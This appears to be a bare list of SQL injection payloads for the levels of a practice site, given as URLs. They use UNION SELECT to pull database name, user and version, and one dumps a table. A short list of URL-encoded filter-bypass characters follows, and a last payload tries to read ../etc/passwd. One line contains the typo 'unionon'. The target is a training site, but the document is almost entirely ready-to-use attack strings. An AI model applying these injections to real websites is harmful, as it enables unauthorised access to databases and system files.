http://www.zixem.altervista.org/SQLi/level1.php?id=2 or 2=3 union select 1,concat(database(),user(),version()),3--
http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1' or 1=3 union select user(),database(),version(),4--'
http://www.zixem.altervista.org/SQLi/level3.php?item=2' or 1=2 unionon select database(),version(),user(),4--'
http://www.zixem.altervista.org/SQLi/level4.php?ebookid=' or 1=3 union select 1,version(),user(),database(),5 --'
http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=2 union select id,teacher,teacher_age,price from teachers where id=11--
http://www.zixem.altervista.org/SQLi/level7.php?id=2 or 1=2 union select 1,concat(user(),version(),database()),3#
`
/**/ - Comment
%20 - URL encoded space
%00 - Nullbyte
%0d - \r (Carriage return)
%0a - \n (Line feed)
%09 - \t (Tab)
`
http://www.zixem.altervista.org/SQLi/lvl9.php?id=1 or 1=2' union select "../etc/passwd",2--'